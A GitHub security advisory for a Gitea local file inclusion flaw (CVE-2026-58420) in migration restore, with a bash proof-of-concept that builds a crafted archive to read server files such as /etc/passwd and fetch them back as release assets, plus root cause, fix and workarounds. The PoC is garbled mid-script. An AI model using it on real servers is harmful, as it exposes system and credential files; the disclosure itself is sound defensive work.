GitHub Advisoryadvisory · Go
GHSA-5ggr-2f2h-jmvm Gitea: Local File Inclusion via file:// URI in Migration Restore
MEDIUM
Official page ↗
- Aliases
- CVE-2026-58420
- Ecosystem
- Go
- Packages
- gitea.dev
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-73
- Reviewed
- 2026-07-21
Affected packages
• Go gitea.dev: < 1.27.0 → fixed in 1.27.0
Description
Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
```
!/usr/bin/env bash
PoC: Gitea LFI via release.yml DownloadURL
Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"
```
1. Create target org and repo via API
```
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true
```
2. Build malicious archive
```
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" &1
```
4. Retrieve exfiltrated content
```
echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
-H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"
```
---
Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
---
Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
```
parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.
```
---
Workaround
Until a patch is available, operators should:
• Restrict restore-repo execution to fully trusted operators only
• Audit all archive contents manually before running restoration
• Review existing release attachments for unexpected or sensitive filenames
---
Isa Can
Security Researcher — Eresus Security
https://github.com/isa0-gh
Yigit Ibrahim
Security Researcher — Eresus Security
https://github.com/ibrahmsql
Related
Alias · CVE (1)
- CVE-2026-58420 Local File Inclusion via file:// URI in Migration Restore vulnerability
Weakness · CWE (1)
- CWE-73 External Control of File Name or Path weakness